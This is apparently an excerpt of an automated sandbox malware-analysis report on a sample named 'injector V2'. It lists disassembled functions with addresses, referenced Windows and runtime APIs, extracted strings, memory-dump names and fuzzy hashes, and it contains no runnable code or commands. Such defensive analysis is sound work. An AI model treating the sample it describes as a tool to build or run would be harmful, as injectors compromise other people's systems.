Download Yara Rule

Strings

KJML, xrefs: 00441B07

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: KJML
API String ID: 2994545307-719402181
Opcode ID: 3df7ed2c8a9dbe20235a181e964fae2686717c0acd2c38c0e30ad4773c2f8834
Instruction ID: 8335f327d513369dcfb9834a600e7f34c22606be92fc97c0a4a2a4726be44bae
Opcode Fuzzy Hash: 3df7ed2c8a9dbe20235a181e964fae2686717c0acd2c38c0e30ad4773c2f8834
Instruction Fuzzy Hash: 0691E4B5A057018BE714DF19C890A2BB7F1FF99704F05842EE9869B361DB34EC51CB46

Function 00441460 Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

5|iL, xrefs: 004415C0

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: 67512c5ddbba3dcc724686a72749b8ade885c9fdba3e8d8f4ddba7c24cdba7de
Instruction ID: df2ebe172a064403b9acf8916c0b5d6c1afc5a8f51932319c10438ba35789a9f
Opcode Fuzzy Hash: 67512c5ddbba3dcc724686a72749b8ade885c9fdba3e8d8f4ddba7c24cdba7de
Instruction Fuzzy Hash: D9416776B14600ABF714DA25DC82F3BB7A2EFD5304F18843EE5869B7A0D778AC418749

Function 00440C90 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

@, xrefs: 00440D32

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 86be3b034137d1e188314dd105af5040d5331b7ecb3c30cf18b9075a44419fda
Instruction ID: cc4d767d31e04a598362a0ea48f62699cf67d2d9896f244bc2d2c3d21d0bb878
Opcode Fuzzy Hash: 86be3b034137d1e188314dd105af5040d5331b7ecb3c30cf18b9075a44419fda
Instruction Fuzzy Hash: 644144B29043009BE7149F54DC85B2BBBF1EF95318F18892DE6891B3A0D3799818C78A

Function 0043FF20 Relevance: 1.0, Instructions: 966COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1639a72b5eed2e40e6d814ef6974f9dda671c7cbd0a27e6298b7e4646378cd3
Instruction ID: 11f07a3e30059be44bd6e7df3787af8c3f4f2cb27c5750cc00ebf60c889a215d
Opcode Fuzzy Hash: c1639a72b5eed2e40e6d814ef6974f9dda671c7cbd0a27e6298b7e4646378cd3
Instruction Fuzzy Hash: 6152353AB08315CFD708CF68E89026AB7E2FB8A314F1A857DC99697351D738D851CB85

Function 00440300 Relevance: .7, Instructions: 691COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be27a7aac73bfb8997d25488b34b8cd6715c3106455aa169b4dff54c0d2c9302
Instruction ID: a8e7e146d79dc7b1216ab77788bb456691cb50ed60f4fd9e2b8d6d11bcc3cc2e
Opcode Fuzzy Hash: be27a7aac73bfb8997d25488b34b8cd6715c3106455aa169b4dff54c0d2c9302
Instruction Fuzzy Hash: B4222279A08315CFD708CF78E89066AB7E2FB8A320F1A857DC99587351DB38D815CB85

Function 0040D4B9 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13604fc7b761a7f1690960bab39338f20424a295911265935283642c0471db69
Instruction ID: 13720710fba5054ec50efb2f3f8dab5f3d194269d8f17bbd924e928128f1e485
Opcode Fuzzy Hash: 13604fc7b761a7f1690960bab39338f20424a295911265935283642c0471db69
Instruction Fuzzy Hash: 10713436B107018FD328CF3ACC91666BBE3BFD5314B1DC66DD1928B7A6EA3594068B44

Function 0043A720 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 979ccd9f37136cabdf795ef1510d182921296494c62843227e038d3ccbc92157
Instruction ID: d5dcacd0e821f3e2e08187deb435845b9dd53913ddd329d744c28078c0de2ee8
Opcode Fuzzy Hash: 979ccd9f37136cabdf795ef1510d182921296494c62843227e038d3ccbc92157
Instruction Fuzzy Hash: C951097164C7545FC724DA28C4906BBB7E2AFCA304F05891EE4DA4B386D239DD46C786

Function 0042BD40 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58ded9ea482011c4a584ea4d64b17d2d7f0382d6f22de39e55406bea0cd1bec0
Instruction ID: fb36940a0d0d5256c2fb58b70c0601cb38de241cdebaea53ec399ecf97a23e80
Opcode Fuzzy Hash: 58ded9ea482011c4a584ea4d64b17d2d7f0382d6f22de39e55406bea0cd1bec0
Instruction Fuzzy Hash: 4851DE72700B108BC730CE29E8C06A7B7F2EF95314759862ED5A68B792D734EC0987D8

Function 0043A5D0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec7ee6b6f774654c01556a802542bcde076e98c98252811fe2adac817a197711
Instruction ID: d9daf018d1bb860a145604cc4e1ee6d71e325b4c3789e383c7d5c426acfa5fcb
Opcode Fuzzy Hash: ec7ee6b6f774654c01556a802542bcde076e98c98252811fe2adac817a197711
Instruction Fuzzy Hash: B1317B71A442006BE710DA15DD82B3BB399DFA9348F0C943EF8C5873A3E235DC11865B

Function 0040E59B Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 46330289f148c11a20cee72e3ff718a5a6d8eaa125d5a907a57b0d7d9f1b7300
Instruction ID: 4bac8a1ec2c6fc30c33c130cdc24a0a4640038c07b8f1fa9aa99fbd68c704ae4
Opcode Fuzzy Hash: 46330289f148c11a20cee72e3ff718a5a6d8eaa125d5a907a57b0d7d9f1b7300
Instruction Fuzzy Hash: E731A770745A008BD729CB26D9A1637B392EFA1314F5CDD3EC0971B6A2CA79AC02C749

Function 00401F10 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e518638d371761f82305027ffa1a24e3a83fb2ea4523f7a2b9be563667d06e5
Instruction ID: 5bb78b99cbaa4e5610c05ddfd7e3a642798ecd2c1ba3f8dc7eddda7574330468
Opcode Fuzzy Hash: 6e518638d371761f82305027ffa1a24e3a83fb2ea4523f7a2b9be563667d06e5
Instruction Fuzzy Hash: E731B8316082029FD7149E59C880937B7E1EF84358F18893EF899A73E1D739DC52CB4A

Function 004411B0 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 551360aa7d40a4593071d730eb62f88cbe2e1745555d5001db6423c849b2951d
Instruction ID: d66948b9bb3eb5f7c51602a94af9291b04aff53dfaa3fc388252a078ccb33eff
Opcode Fuzzy Hash: 551360aa7d40a4593071d730eb62f88cbe2e1745555d5001db6423c849b2951d
Instruction Fuzzy Hash: BA2179B5B047009FE7148E94DCC1B7BB7A1FBCA304F24813DEA91D73A1D6B859818759

Function 00B525C3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00B526E2
___TypeMatch.LIBVCRUNTIME ref: 00B527F0
CatchIt.LIBVCRUNTIME ref: 00B52841
_UnwindNestedFrames.LIBCMT ref: 00B52942
CallUnexpected.LIBVCRUNTIME ref: 00B5295D

Strings

csm, xrefs: 00B52600
csm, xrefs: 00B5266D
csm, xrefs: 00B52719

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 2bdcb8ccc59f528826b422666d78671f02c3ac73dba88527aef0c7ace8a97b52
Instruction ID: 45a4c17138b49329cb54cc857b4d2e34239410fffe1e70bf8a685df44acc8902
Opcode Fuzzy Hash: 2bdcb8ccc59f528826b422666d78671f02c3ac73dba88527aef0c7ace8a97b52
Instruction Fuzzy Hash: 2FB138318022099FCF19DFA4C881AAEBBF5FF19316F1441E9EC116B212D731EA59DB91

Function 00B53F46 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,00B53F31,?,?,?,?,?,?,?,?,?,?), ref: 00B53FEC
__alloca_probe_16.LIBCMT ref: 00B540A7
__alloca_probe_16.LIBCMT ref: 00B54136
__freea.LIBCMT ref: 00B54181
__freea.LIBCMT ref: 00B54187
__freea.LIBCMT ref: 00B541BD
__freea.LIBCMT ref: 00B541C3
__freea.LIBCMT ref: 00B541D3

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 0447742c2b698f47873432dcdd49fc57277fe89d1e32482df5cfc4ebc8661ca4
Instruction ID: ef56e744ecc62a0cdb393fb7d56e5de3f10b317e78d9dbf0201db979e886ab86
Opcode Fuzzy Hash: 0447742c2b698f47873432dcdd49fc57277fe89d1e32482df5cfc4ebc8661ca4
Instruction Fuzzy Hash: B47101729007056ADF219F648C81BAE7BFAEF5531AF2800D9ED14B7281D731DDC887A1

Function 00B448F0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 243COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00B44997

Strings

(^Hx, xrefs: 00B44A8B
(^Hx, xrefs: 00B44AB7
(^Hx, xrefs: 00B44AAC

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: ___std_exception_copy
String ID: (^Hx$(^Hx$(^Hx
API String ID: 2659868963-1348055467
Opcode ID: e7ab19fc00a675cc0460a21f5787312162d33fd94931c8af76f0f6e8addad2a7
Instruction ID: 6f58e69f9acafb190962dc9b945ee23934eec273c76a039be9a21e7f5379995f
Opcode Fuzzy Hash: e7ab19fc00a675cc0460a21f5787312162d33fd94931c8af76f0f6e8addad2a7
Instruction Fuzzy Hash: 24811B362043005F8B24DA29A9C833E72D1E798321F7C8AD5E5A1CB7E1EF75CA54B742

Function 00B4C89A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,BB40E64E,?,00B4C9A9,?,00B2782F,00000000,00000000), ref: 00B4C95B

Strings

api-ms-, xrefs: 00B4C8F1
ext-ms-, xrefs: 00B4C905

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 480a960c1a1e2f9d003609983796ca108e9d7d45f0b39af801e2731a75a18c06
Instruction ID: e78ad31aadc7077bf82e3991a8323a17f6b405207be3a1e0dd368f393e601a96
Opcode Fuzzy Hash: 480a960c1a1e2f9d003609983796ca108e9d7d45f0b39af801e2731a75a18c06
Instruction Fuzzy Hash: B021D531A06311BBD7629F68DC80B5A3FE9EB45BA1F1405E0E815A7291DB30EF00E6D1

Function 00B4C13E Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B4C135,00B49C1D,00B49814), ref: 00B4C14C
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B4C15A
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B4C173
SetLastError.KERNEL32(00000000,00B4C135,00B49C1D,00B49814), ref: 00B4C1C5

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8743e1b21195abc100e3127bd03bc75bdcf62cebe8cbbd6cad65db3cd73eee70
Instruction ID: b2520602d1ed2a7e875443044bea62556673610a05484073213e86828acfb73e
Opcode Fuzzy Hash: 8743e1b21195abc100e3127bd03bc75bdcf62cebe8cbbd6cad65db3cd73eee70
Instruction Fuzzy Hash: D701D83210A7116DB66527B56CC5F263FD4CB11F7B72003FAF524660E2EE514D057594

Function 00B3DD00 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

Strings

string too long, xrefs: 00B3DE5A
eIY, xrefs: 00B3DD75
eIY, xrefs: 00B3DD98
eIY, xrefs: 00B3DDF8

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: string too long$eIY$eIY$eIY
API String ID: 0-1759105153
Opcode ID: 8bfbc5a3a0a90429a666a28c06245bd3debad346119aa750c190e8280aeff039
Instruction ID: d9afd177c426faec93623f18da094c4209e4a4c3d86f08d877b01ec17a471646
Opcode Fuzzy Hash: 8bfbc5a3a0a90429a666a28c06245bd3debad346119aa750c190e8280aeff039
Instruction Fuzzy Hash: 1521562330426197AE280A2CF88522E3AC38AE17B0F3A45EAD4196F256C637CCD59252

Function 00B4A925 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,?,00B563AE,000000FF), ref: 00B4A95A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B4A96C
FreeLibrary.KERNEL32(00000000,?,?,?,00B563AE,000000FF), ref: 00B4A98E

Strings

mscoree.dll, xrefs: 00B4A953
CorExitProcess, xrefs: 00B4A964

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2f298a5ae5b9a4433df680da809e6894f8bb14610e5485a68d845eabd7adc129
Instruction ID: 24203e575b2ee8810862d8aabf323c60fa59f5a16aed9dcb0b7edf1ccdef18fd
Opcode Fuzzy Hash: 2f298a5ae5b9a4433df680da809e6894f8bb14610e5485a68d845eabd7adc129
Instruction Fuzzy Hash: 5301A271950719AFDB128F54DC09BAEBBF8FB44B16F0402A9E811A36E0EB749904CA90

Function 00B50E88 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B50F0D
__alloca_probe_16.LIBCMT ref: 00B50FD6
__freea.LIBCMT ref: 00B5103D

Part of subcall function 00B4EB9B: HeapAlloc.KERNEL32(00000000,00B276E8,?,?,00B276E8,01E84800), ref: 00B4EBCD

__freea.LIBCMT ref: 00B51050
__freea.LIBCMT ref: 00B5105D

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: d98721fd5ca2e3b851e00c9b5dac70bd5c13ffed10352ae3b2d83271b9be267c
Instruction ID: 1f6971281628d21f245d5bcfc780716d454275995275f21cbc0fd42626e7dee7
Opcode Fuzzy Hash: d98721fd5ca2e3b851e00c9b5dac70bd5c13ffed10352ae3b2d83271b9be267c
Instruction Fuzzy Hash: 3651E672600256AFDB206F68CC81FBB7BE9EF44712F1908E9FD04D6181EB74DD889660

Function 00B529E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00B528EE,?,?,00000000,00000000,00000000,?), ref: 00B52A0D
CatchIt.LIBVCRUNTIME ref: 00B52AF3

Strings

RCC, xrefs: 00B52A27
MOC, xrefs: 00B52A1F

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: b6e4811d408807bed3f8830c7fec5037f6a5ed9b320c6411333118b744deacbc
Instruction ID: e7116953e758f5c15904211e6723982d2739256a9870b911120c3226cebb4c9b
Opcode Fuzzy Hash: b6e4811d408807bed3f8830c7fec5037f6a5ed9b320c6411333118b744deacbc
Instruction Fuzzy Hash: 9F414671A01209AFDF25CF98C981AAEBBF5FF09305F1880D9FA0467222E3359A55DB50

Function 00B50C22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 00B50C2F
GetLastError.KERNEL32 ref: 00B50C39
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00B50C61

Strings

api-ms-, xrefs: 00B50C46

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 0c7c7178fa36047d768fd465e6ab4c591f52bdd8015f917f024d956a15e0a438
Instruction ID: e7ef1ec7c678c422d43911c49b3d9fb70e400363d08cc35714257f308a0f70a9
Opcode Fuzzy Hash: 0c7c7178fa36047d768fd465e6ab4c591f52bdd8015f917f024d956a15e0a438
Instruction Fuzzy Hash: 3FE01A30680308BAEA212BA5ED46B1A3F9AEB01B42F1040E0FD0CAC0A1EBA299559584

Function 00B5157F Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00B515E2

Part of subcall function 00B5010E: WideCharToMultiByte.KERNEL32(?,00000000,00B33046,00000000,00000000,00000000,000000FF,?,?,00000000,00B33046,?,00B4C071,?,00000000,?), ref: 00B5016F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B51834
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B5187A
GetLastError.KERNEL32 ref: 00B5191D

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: de704682eceb4e38c3b5f09b3cb75fcadd36038b260da3f42776c48b5b55cb81
Instruction ID: d76d7660a7a8e0b50ab572c5f483a359158408b4c544443337649b5db093b239
Opcode Fuzzy Hash: de704682eceb4e38c3b5f09b3cb75fcadd36038b260da3f42776c48b5b55cb81
Instruction Fuzzy Hash: D7D16BB5D002489FDB15CFA8D880BEDBBF5EF09311F2849AAE865EB251D730A945CB50

Function 00B523EC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00B524B3
___AdjustPointer.LIBCMT ref: 00B524D6
___AdjustPointer.LIBCMT ref: 00B52572

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c3883cfc76eef90477dc86f80c3d5233577d1adf882329254f29412588d35ced
